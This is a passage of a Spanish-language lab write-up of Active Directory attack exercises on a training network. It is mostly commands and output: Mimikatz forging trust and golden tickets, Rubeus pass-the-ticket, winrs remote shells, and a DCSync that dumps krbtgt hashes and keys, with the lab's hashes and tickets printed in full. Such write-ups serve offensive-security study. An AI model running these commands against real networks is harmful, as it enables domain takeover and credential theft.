ZtA/PVUthZxhH2ni570Ba7s5EvaIXWT8vLeFXI0p0Qkcd5rZQkJDHl84BCuMHgv7mkZNozjdUcudzZ7T CzjF2Aa1dtGbm7CzVYHvJUHl0SW0fDj6pZM5nT7RsjKbuUy13UY7ZME59D22XIkKUwCY+Jwif+AUuP6m rSzv0w9bGaMqsjtvo+cpZ3T4UK52ZvSvQcJd4+vT2BUW75aeW9MDcqsVdYlJRflu+O3KxSNnvLYeH5U7 QA1GsW0KbBYbbA3rVQX1T22SNK7HjlsXjv8CUW2SjfbNy2Qyrg62HMedc2OMyagLWnHI80o3V/hmxRPF n28nqyohv/u/SCcouEU842jQPMky0W+O/1LZ1D/nIPfGKF+kw6Hmn824es066bn/M7U9uxYwJr1VbsgW hVTr1Ofv4092g64TT/i/m2H/rqDmZA1bJKqDRleBVcCbQT1+auR8jc8xMexRv78DpLsIveAH3rYKxwSq Ki5XY/WrJpKSDBi0AAhQ36nD5j+MOnlKqRzbX+tQ/F8d/TXuQgSv+/R4Tvb4P7IUYsNsFUcX//fpOE0q StofwYWMXKvbmWLcF8xIUbzhlKML80FVFfWviTAdxKBjeo4vonIHu4/ARNrC8BZHK/l2KlzvRFpd1KhL XcTcSYOQISRWBcQvmryV+vAOIPVMk9j7KUPwsR0fjSEoC6elDYh61d7qPWoRCrzqSjmVGkIp4vp5SrFm X0l6BFuF61LTjWOBJPOcYYNmO/dekJcxCjHsPq3AY5uYg4e0jNtSzgWOX/msCfu6o92tB+PRKGCIkt4Z u4FIvbGlMlEifB4HSDJrYcj/0M9qj9+OZ6EUSbkyzJRxUqoXBWMRuOwCmSU1ADgNybSb/OLiVLsoYnWg ueEsQx7sa+aLNXLljodsrSzIhL8gWa1MrC/QM/jLPuuwwPdzJ/KTiiHTy8k+zWdKSdmHa3lZdcu8g01R Mc0WR/1cvNNKDzYyBkQyS7tIvGb64uOO8bydwBm5Pn8ZWoWEAptGWijHQnl63IGm2mOebOJ3mac2Qoxd gi7SybmtTjbHt/vlW/mg4YrFVJ1r8Gj2mcJL6JokZk3OF/B94Xv2Bgj/TgQqdI7WGnXURWSCu6th8cHB hdMPJTZMhd+4cRl8WyhBSmH9qiT/86zlgxkF6Rfa6ejccgwRCK40f11wJOqB0Q0ZvTCmj4eS2HbVIGBu 3WjvsF/FcgENSXCLJ1JOk8EPQDLnst60MzoP/eNTVcAUnzeEdCamte+1/2BbcO3BFonX0owc08xjJz+g y17qNpWkvT95c5Wt1LXsSOr5D0yJ5VGwZxXKx7JbwHwgGgelEjWFR11WH/ni2wN77DK4XK9yCIySHJUa JO1C9TPIz2Vu+LVREjpKwDZDfABzceaOV4eAKKHrc+wzx3CSFc29Uf18gmW5vqNHcDh6wk7sxw1Mcj1B /A5Lks7wIwKZbVHzrf6ILiMlPUhCOI1nHKjx3eAL0Qsy7jTJbSrPkwUPaA8t8LgE6XOpQ0jhRGOCJOc6 DMBeS+56PVa6fCcIBMdiRmNiqW3Q4aQJ+krPTXi0vat+YCV7OnyH3v6NuqKuy7kFPCWqMUBqS1lFUhH8 CVHlV5c1r6D3qWwRcCCxYfDK5b9vuQnJRh27INOOdYAduwLxJ+H9j94UHAiRnMQMteOF4DLQ+SgPvYir BRCKrcIS6P6Da/J/Xfn0v8QGm0eYwxvrwVRXSxjUWDSwwvm3Gb6AKGSiOb+Elurzj1+/AwGdo4HzMIHw oAMCAQCigegEgeV9geIwgd+ggdwwgdkwgdagGzAZoAMCARGhEgQQ2hbTLg9AUyNNoalpYtGNf6EcGxpE T0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKIaMBigAwIBCqERMA8bDWFkbWluaXN0cmF0b3KjBwMFAECh AAClERgPMjAyNDAzMDQwMDQwMTVaphEYDzIwMjQwMzA0MTA0MDE1WqcRGA8yMDI0MDMxMTAwNDAxNVqo HBsaRE9MTEFSQ09SUC5NT05FWUNPUlAuTE9DQUypHTAboAMCAQKhFDASGwRodHRwGwpkY29ycC1tZ210 [+] Ticket successfully imported! PS C:\AD\Tools> klist Current LogonId is 0:0xe922452 Cached Tickets: (1) #0> Client: administrator @ DOLLARCORP.MONEYCORP.LOCAL Server: http/dcorp-mgmt @ DOLLARCORP.MONEYCORP.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Start Time: 3/3/2024 16:40:15 (local) End Time: 3/4/2024 2:40:15 (local) Renew Time: 3/10/2024 16:40:15 (local) Session Key Type: AES-128-CTS-HMAC-SHA1-96 Cache Flags: 0 Kdc Called: ``` Luego de esto, con el ticket cargado, iniciamos una cmd remota con winrs. ``` PS C:\AD\Tools> winrs -r:dcorp-mgmt cmd.exe Microsoft Windows [Version 10.0.20348.2227] (c) Microsoft Corporation. All rights reserved. C:\Users\Administrator.dcorp>hostname hostname dcorp-mgmt C:\Users\Administrator.dcorp>whoami whoami dcorp\administrator ``` ## Conclusion: Explotar RBCD te permite obtener RCE en un objeto al cual solo contabas con permisos GenericWrite. # Learning Objective - 18 ## Child to Parent using Trust Tickets De los ejercicios anteriores obtuvimos las claves de confianza del dominio. ``` SMB 172.16.2.1 445 DCORP-DC mcorp$:1103:aad3b435b51404eeaad3b435b51404ee:f5b5c9f1ca76187393db1d3bb8ded94e::: SMB 172.16.2.1 445 DCORP-DC US$:1104:aad3b435b51404eeaad3b435b51404ee:f85385d81cc4936d37ff8f27813f43c6::: SMB 172.16.2.1 445 DCORP-DC ecorp$:1112:aad3b435b51404eeaad3b435b51404ee:4501e4c7f30e1cb3c9886f06a3ed1c6a::: ``` Si no lo hubieramos tenido, igual podemos extraerlo con cualquiera de estos comandos: ``` Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"' Invoke-Mimikatz -Command '"lsadump::lsa /patch"' ``` Luego ejecutamos Mimikatz para crear el trust ticket. ``` PS C:\AD\Tools\tickets> Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /rc4:f5b5c9f1ca76187393db1d3bb8ded94e /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\tickets\trust_tkt.kirbi" "exit"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /rc4:f5b5c9f1ca76187393db1d3bb8ded94e /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\tickets\trust_tkt.kirbi User : Administrator Domain : dollarcorp.moneycorp.local (DOLLARCORP) SID : S-1-5-21-719815819-3726368948-3917688648 User Id : 500 Groups Id : *513 512 520 518 519 Extra SIDs: S-1-5-21-335606122-960912869-3279953914-519 ; ServiceKey: f5b5c9f1ca76187393db1d3bb8ded94e - rc4_hmac_nt Service : krbtgt Target : moneycorp.local Lifetime : 3/4/2024 12:44:13 AM ; 3/2/2034 12:44:13 AM ; 3/2/2034 12:44:13 AM -> Ticket : C:\AD\Tools\tickets\trust_tkt.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz(powershell) # exit Bye! ``` Luego, cargamos este ticket utilizando Rubeus. ``` PS C:\AD\Tools\tickets> ..\Rubeus.exe asktgs /ticket:C:\AD\Tools\tickets\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Ask TGS [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building TGS-REQ request for: 'cifs/mcorp-dc.moneycorp.local' [*] Using domain controller: mcorp-dc.moneycorp.local (172.16.1.1) [+] TGS request successful! [+] Ticket successfully imported! [*] base64(ticket.kirbi): doIFRDCCBUCgAwIBBaEDAgEWooIEJzCCBCNhggQfMIIEG6ADAgEFoREbD01PTkVZQ09SUC5MT0NBTKIr MCmgAwIBAqEiMCAbBGNpZnMbGG1jb3JwLWRjLm1vbmV5Y29ycC5sb2NhbKOCA9IwggPOoAMCARKhAwIB C6KCA8AEggO8AwpqUTxrqk14Wmnulwq1KbWIfHnLq2j+1H4d9uwZ3DGW7oMIZQlVVws5i3yzMqw6ChDe Nr+y6yavEWqQXdC70XFHK7xgAB4F8Vb4n6T6yV2pPYDzTI/EGenWwfC2zt6rYk+x/yzsfcAxaCfcyXj/ 9rANq8CYBhqe5SCExz78/kvqmrfAs6bDQHR4jL5BkRcVnxXjC7EeTyAvWL6Jp9LerRJlB2lJJOIG6JZC Yh3QaREis4pifLcxEN494in/U2r2l+8XhOMGKXMyfZXYCeetrMqK4IeLCuekQ54UcBptnPpKa31/uMTv qkDD1rs4aa4U7y7m10ztfO5l4GsOWqBJBBcxP/HnIyqQhXckMKCzVSc1Gou41Ore0dW5v5xha0S6j8q2 wLdjtijmsUv77ejoV/jHG3WBIU50dUABVKvj0ptngZZWU7hFvzHOIBNTy027KWN9+SXODRxQf7xsE2Tb 4+gPVftL6WZgoU1m4GrWl6yFfeu9RWzyolTQ8oyXFMoJo1PLXVW0zN0/S+C/8BPpy8hfTxTNtJixC98W P6NNq7FONlu+Him/DwhGAfwLcfSLWspANBS5fqqpA+ZUDcAidZ5Mt+dJnCZ8DMQv8CDHc+vF1GA2+Quy H3MVVGOzNH4ThGejDxDoYp1sPn+E+pbp5URlQ5UpXBSEQ0Gq0odf8umS++pFnDdfIOC04KjAXZAKiC5V QdzWrAeHZ85PikpLPhe34naGXqtdCZ0b3yLkPKrLaLte4TRgl+pl1aedQHVaXM6wAGtldt9hgoIk1cNR XUaoQL/BJLDpBoSZQjcboFLSVx5zX0vunbrcpDo5FwhwP328eK67+3I+VyWp/++VB4o1OYe7UsEh6r0v tYz3LrsiwNC+/fEk/Uq9CsWiQBEiVQPz4Ap2XEX3+f1trglaOkeF1IuK/RDptdWunuff9mbBYItQ5h2m cqZBVIjjBebYmFRtpfXrsqRDAF+I9PbUsIWt3O1HMixOoqj7sJChNFV0+I1IaDZJBmNTSnz/V4oVpaU6 5ltygsDAqiy1qFZuC5UPK9LhAm7hIEyByj+KpO0ZE5hTThD5vKYnXNmtqjSUU2AqzugnR2Wd1vZML7rp O4FqffMfWcUKjr1ev8P9ag6YNmFkzEdmU0AcN4v/W68zvnYpFWaEcbJAkt7F2yt3u3XRROorPfl2MzeX XCJOeVUeg+kjKZo12eR1iOSv+6itNlxzRW8F9fTXC43DbrQb0DYF47jGOdEIouB9KXjZ/YlLo+UP0v6m FW3DmBSjggEHMIIBA6ADAgEAooH7BIH4fYH1MIHyoIHvMIHsMIHpoCswKaADAgESoSIEIBq1KriszNTY nMLdIN8X17MhYisUeV7dQV3FNzkmYwx+oRwbGmRvbGxhcmNvcnAubW9uZXljb3JwLmxvY2FsohowGKAD AgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQKUAAKURGA8yMDI0MDMwNDA4NDQzNVqmERgPMjAyNDAz MDQxODQ0MzVapxEYDzIwMjQwMzExMDg0NDM1WqgRGw9NT05FWUNPUlAuTE9DQUypKzApoAMCAQKhIjAg GwRjaWZzGxhtY29ycC1kYy5tb25leWNvcnAubG9jYWw= ServiceName : cifs/mcorp-dc.moneycorp.local ServiceRealm : MONEYCORP.LOCAL UserName : Administrator UserRealm : dollarcorp.moneycorp.local StartTime : 3/4/2024 12:44:35 AM EndTime : 3/4/2024 10:44:35 AM RenewTill : 3/11/2024 1:44:35 AM Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : GrUquKzM1Nicwt0g3xfXsyFiKxR5Xt1BXcU3OSZjDH4= PS C:\AD\Tools\tickets>klis ``` Luego verificamos el ticket. ``` PS C:\AD\Tools\tickets> klist Current LogonId is 0:0xe922452 Cached Tickets: (1) #0> Client: Administrator @ dollarcorp.moneycorp.local Server: cifs/mcorp-dc.moneycorp.local @ MONEYCORP.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize Start Time: 3/4/2024 0:44:35 (local) End Time: 3/4/2024 10:44:35 (local) Renew Time: 3/11/2024 0:44:35 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0 Kdc Called: PS C:\AD\Tools\tickets> ``` Y luego, listar el directorio C del dc del dominio padre. ``` PS C:\AD\Tools\tickets> ls \\mcorp-dc.moneycorp.local\c$ Directory: \\mcorp-dc.moneycorp.local\c$ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/8/2021 1:20 AM PerfLogs d-r--- 11/10/2022 9:53 PM Program Files d----- 5/8/2021 2:40 AM Program Files (x86) d-r--- 11/11/2022 6:33 AM Users d----- 1/10/2024 1:35 AM Windows ``` Tambien podemos cargar el ticket utilizando kekeo. ``` .\asktgs.exe C:\AD\Tools\tickets\trust_tkt.kirbi CIFS/mcorpdc.moneycorp.local .\kirbikator.exe lsa .\CIFS.mcorp-dc.moneycorp.local.kirbi ls \\mcorp-dc.moneycorp.local\c$ ``` ## Usando otro servicio como LDAP Creamos el ticket de la manera normal. ``` C:\AD\Tools>mimikatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /rc4:f5b5c9f1ca76187393db1d3bb8ded94e /service:krbtgt /target:moneycorp.local /ticket:trust_tkt.kirbi" "exit" .#####. mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(commandline) # kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /rc4:f5b5c9f1ca76187393db1d3bb8ded94e /service:krbtgt /target:moneycorp.local /ticket:trust_tkt.kirbi User : Administrator Domain : dollarcorp.moneycorp.local (DOLLARCORP) SID : S-1-5-21-719815819-3726368948-3917688648 User Id : 500 Groups Id : *513 512 520 518 519 Extra SIDs: S-1-5-21-335606122-960912869-3279953914-519 ; ServiceKey: f5b5c9f1ca76187393db1d3bb8ded94e - rc4_hmac_nt Service : krbtgt Target : moneycorp.local Lifetime : 3/4/2024 2:03:54 AM ; 3/2/2034 2:03:54 AM ; 3/2/2034 2:03:54 AM -> Ticket : trust_tkt.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz(commandline) # exit Bye! ``` Luego con Rubeus creamos el ticket pero con el servicio LDAP. ``` C:\AD\Tools>Rubeus.exe asktgs /ticket:trust_tkt.kirbi /service:ldap/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Ask TGS [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building TGS-REQ request for: 'ldap/mcorp-dc.moneycorp.local' [*] Using domain controller: mcorp-dc.moneycorp.local (172.16.1.1) [+] TGS request successful! [+] Ticket successfully imported! [*] base64(ticket.kirbi): doIF3DCCBdigAwIBBaEDAgEWooIEvzCCBLthggS3MIIEs6ADAgEFoREbD01PTkVZQ09SUC5MT0NBTKIr MCmgAwIBAqEiMCAbBGxkYXAbGG1jb3JwLWRjLm1vbmV5Y29ycC5sb2NhbKOCBGowggRmoAMCARKhAwIB C6KCBFgEggRU+03OnEP2whgc6Mr8DZQnF9e0TmYn7ScKjWZVDSLIyuFgdud7fpTcEEwWUtVy+UIuPXY4 neTohna7fjC5i7WxW2OOg/6OnT2qmS5c0tG0vOzmqQsi6mLjdgtuddL4rbdICeg8PdMrszPHy94d9eMA 7pdZppeyAQxXUVEokZ/ttKOILLpTRbfL+tJn5wnxbN2zbqUpJ0ct0vKC68JJ+4jBLYjMaS+VaXRDXI7N hTcosFPhq1O1ZN/9hVXvFxx5JLAFYS7lorYfBk3l6pwF8bA1emznE+KtXxutkUroAV0V7BvSMFQoEONs i0o5nI2ELYJnADhyXodbtxuKD31def3vkd6+dgALVw41gxGmpkT03Oyj+5DCsavFaAUmhvUEGieBeVG+ ID371oatgufPv2tep0OPRp4WebqoEOhuIiM2c2ecRNtJizRhqsKaAQK0IGuyVvnNtMVkWyWALxwRMTaj RK6p6NjUzKXyYszFWTqAuB0XjhuuJyCE3bjDoqz2ryvRRqNZPiCtcry3JS56lHbnlRrfmOsvP6uhUSvm QcktVSFFfTM6HHBSTKVBDA4h5NLWwPRcYRPKRiEOs8LX59K6EpqVXdh71CsAdE/vkGNCf8jNo7qqKimx PF+UDtg4rqAhaDJkSJTFrhECsjS2vHT0R30JFnHjaxwQuLQ+dX5mUqtMZRFYZnVJaOEVFpoViRxR5mKZ iU5fqO5iyohYr+1FDuIqjrkzeU8NgYxwmqMkstSXifzEPTzPKQbU5UjRAzJIwmjlqGyyJ5Rcv7xGrOEj 8U45xphz+fCULUhkDaJmllrSRF0BhWTlDoIeo83p7FGpxu3NqXwKjI4kNhRcEjarkOei78kR4jPNUMTY hhNHie+QXSY5o5a0KbFV/ZUVcmDyWL0NtjoBymffbdXnhhAyNXvvZR2wiq33vLbV3uizs4TZV96jrFfB iTVIaInJdwtMU/xzcvlryGsVGp/p9H17A9oS+knUME5U30rjEdtzL0I7a7EvHKoXMB6jqN6fsOjkPR/c XtqkOGHOzmBBuzIknQy7exo2EKM0JSLRrNmyiw7eK15Hz1g9xR+FqQrnIt127lqKOvIpXX8ldD0pQnvP 39BA/dBW8azNkc+51fG4AOBQ//2t/NXmJ2XKwKr5IHNK1L5Tbs5Teh/QChYIORPkJePX0v6lNOXL5Vv/ eKnW7Y6x70IQ5Xo2ZPJyHIDJyRt8Ez6S3pfiYM8r+lWc/5puA9eQ+n2o/h8KQBVK1JEoqB7tYVQVRlps xwYeyb8xYcsb1aTPLF8+jKak8rGfx2ran0KJPjwaKMqCq1kBUQ7oufB2pMG8fTs+/MfNhoYxs9KFwlK/ SAe/iS76w9LEBMEKp3IOyhRMlRg5/C0ET43fyip4rK4EO4OwNlWUxwGd/9ClzJ6NmsknyUMLiUPiPmf6 YT7TkrlKR344fnWipGH/3X29yqTJ5Q3WUbeXXRMuMVjE1KKbp6OCAQcwggEDoAMCAQCigfsEgfh9gfUw gfKgge8wgewwgemgKzApoAMCARKhIgQgzVRECQa2o6gQKNKKsn+6DCGmkeQZKrcUmybcgyuawyOhHBsa ZG9sbGFyY29ycC5tb25leWNvcnAubG9jYWyiGjAYoAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBA pQAApREYDzIwMjQwMzA0MTAwNDI2WqYRGA8yMDI0MDMwNDIwMDQyNlqnERgPMjAyNDAzMTExMDA0MjZa qBEbD01PTkVZQ09SUC5MT0NBTKkrMCmgAwIBAqEiMCAbBGxkYXAbGG1jb3JwLWRjLm1vbmV5Y29ycC5s b2NhbA== ServiceName : ldap/mcorp-dc.moneycorp.local ServiceRealm : MONEYCORP.LOCAL UserName : Administrator UserRealm : dollarcorp.moneycorp.local StartTime : 3/4/2024 2:04:26 AM EndTime : 3/4/2024 12:04:26 PM RenewTill : 3/11/2024 3:04:26 AM Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : zVRECQa2o6gQKNKKsn+6DCGmkeQZKrcUmybcgyuawyM= ``` Luego, ejecutamos un DCSync sobre el dominio moneycorp.local ``` C:\AD\Tools>mimikatz.exe "lsadump::dcsync /user:mcorp\krbtgt /domain:moneycorp.local" "exit" .#####. mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(commandline) # lsadump::dcsync /user:mcorp\krbtgt /domain:moneycorp.local [DC] 'moneycorp.local' will be the domain [DC] 'mcorp-dc.moneycorp.local' will be the DC server [DC] 'mcorp\krbtgt' will be the user account [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Account expiration : Password last change : 11/11/2022 9:46:24 PM Object Security ID : S-1-5-21-335606122-960912869-3279953914-502 Object Relative ID : 502 Credentials: Hash NTLM: a0981492d5dfab1ae0b97b51ea895ddf ntlm- 0: a0981492d5dfab1ae0b97b51ea895ddf lm - 0: 87836055143ad5a507de2aaeb9000361 Supplemental Credentials: * Primary:NTLM-Strong-NTOWF * Random Value : 7c7a5135513110d108390ee6c322423f * Primary:Kerberos-Newer-Keys * Default Salt : MONEYCORP.LOCALkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 90ec02cc0396de7e08c7d5a163c21fd59fcb9f8163254f9775fc2604b9aedb5e aes128_hmac (4096) : 801bb69b81ef9283f280b97383288442 des_cbc_md5 (4096) : c20dc80d51f7abd9 * Primary:Kerberos * Default Salt : MONEYCORP.LOCALkrbtgt Credentials des_cbc_md5 : c20dc80d51f7abd9 * Packages * NTLM-Strong-NTOWF * Primary:WDigest * 01 49fec950691bbeba1b0d33d5a48d0293 02 0b0c4dbc527ee3154877e070d043cd0d 03 987346e7f810d2b616da385b0c2549ec 04 49fec950691bbeba1b0d33d5a48d0293 05 0b0c4dbc527ee3154877e070d043cd0d 06 333eda93ecfba8d60c57be7f59b14c62 07 49fec950691bbeba1b0d33d5a48d0293 08 cdf2b153a374773dc94ee74d14610428 09 cdf2b153a374773dc94ee74d14610428 10 a6687f8a2a0a6dfd7c054d63c0568e61 11 3cf736e35d2a54f1b0c3345005d3f962 12 cdf2b153a374773dc94ee74d14610428 13 50f935f7e1b88f89fba60ed23c8d115c 14 3cf736e35d2a54f1b0c3345005d3f962 15 06c616b2109569ddd69c8fc00c6a413c 16 06c616b2109569ddd69c8fc00c6a413c 17 179b9c2fd5a34cbb6013df534bf05726 18 5f217f838649436f34bbf13ccb127f44 19 3564c9de46ad690b83268cde43c21854 20 1caa9da91c85a1e176fb85cdefc57587 21 27b7de3c5a16e7629659152656022831 22 27b7de3c5a16e7629659152656022831 23 65f5f95db76e43bd6c4ad216b7577604 24 026c59a45699b631621233cb38733174 25 026c59a45699b631621233cb38733174 26 342a52ec1d3b39d90af55460bcda72e8 27 ef1e1a688748f79d16e8e32318f51465 28 9e93ee8e0bcccb1451face3dba22cc69 29 480da975c1dfc76717a63edc6bb29d7b mimikatz(commandline) # exit Bye! ``` # Learning Objective - 19 ## Child to Parent using krbtgt hash Ejecutamos en el mimikatz utilizando el hash del krbtgt. ``` PS C:\AD\Tools\tickets> Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /krbtgt:4e9815869d2090ccfca61c1fe0d23986 /ticket" "exit"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /krbtgt:4e9815869d2090ccfca61c1fe0d23986 /ticket User : Administrator Domain : dollarcorp.moneycorp.local (DOLLARCORP) SID : S-1-5-21-719815819-3726368948-3917688648 User Id : 500 Groups Id : *513 512 520 518 519 Extra SIDs: S-1-5-21-335606122-960912869-3279953914-519 ; ServiceKey: 4e9815869d2090ccfca61c1fe0d23986 - rc4_hmac_nt Lifetime : 3/4/2024 1:10:49 AM ; 3/2/2034 1:10:49 AM ; 3/2/2034 1:10:49 AM -> Ticket : ticket.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz(powershell) # exit Bye! ``` Luego cargamos el ticket. ``` PS C:\AD\Tools\tickets> Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # kerberos::ptt ticket.kirbi * File: 'ticket.kirbi': OK PS C:\AD\Tools\tickets> klist Current LogonId is 0:0xe922452 Cached Tickets: (1) #0> Client: Administrator @ dollarcorp.moneycorp.local Server: krbtgt/dollarcorp.moneycorp.local @ dollarcorp.moneycorp.local KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 3/4/2024 1:10:49 (local) End Time: 3/2/2034 1:10:49 (local) Renew Time: 3/2/2034 1:10:49 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0x1 -> PRIMARY Kdc Called: PS C:\AD\Tools\tickets> ``` no funciona :c, debo ver porque esta fallando, Tal vez envio correo. ``` C:\AD\Tools>klist Current LogonId is 0:0x43d8c Cached Tickets: (1) #0> Client: Administrator @ dollarcorp.moneycorp.local Server: krbtgt/dollarcorp.moneycorp.local @ dollarcorp.moneycorp.local KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 3/4/2024 1:56:14 (local) End Time: 3/2/2034 1:56:14 (local) Renew Time: 3/2/2034 1:56:14 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0x1 -> PRIMARY Kdc Called: C:\AD\Tools>dir \\mcorp-dc.moneycorp.local\c$ Access is denied. C:\AD\Tools>klist Current LogonId is 0:0x43d8c Cached Tickets: (0) C:\AD\Tools> ``` # Learning Objective - 20 ## Across Forest using Trust Tickets Requerimos el hash de la confianza entre forest. ``` SMB 172.16.2.1 445 DCORP-DC mcorp$:1103:aad3b435b51404eeaad3b435b51404ee:f5b5c9f1ca76187393db1d3bb8ded94e::: SMB 172.16.2.1 445 DCORP-DC US$:1104:aad3b435b51404eeaad3b435b51404ee:f85385d81cc4936d37ff8f27813f43c6::: SMB 172.16.2.1 445 DCORP-DC ecorp$:1112:aad3b435b51404eeaad3b435b51404ee:4501e4c7f30e1cb3c9886f06a3ed1c6a::: ``` Creando un TGT entre forest. ``` C:\AD\Tools>mimikatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /rc4:4501e4c7f30e1cb3c9886f06a3ed1c6a /service:krbtgt /target:eurocorp.local /ticket:trust_forest_tkt.kirbi" "exit" .#####. mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(commandline) # kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /rc4:4501e4c7f30e1cb3c9886f06a3ed1c6a /service:krbtgt /target:eurocorp.local /ticket:trust_forest_tkt.kirbi User : Administrator Domain : dollarcorp.moneycorp.local (DOLLARCORP) SID : S-1-5-21-719815819-3726368948-3917688648 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: 4501e4c7f30e1cb3c9886f06a3ed1c6a - rc4_hmac_nt Service : krbtgt Target : 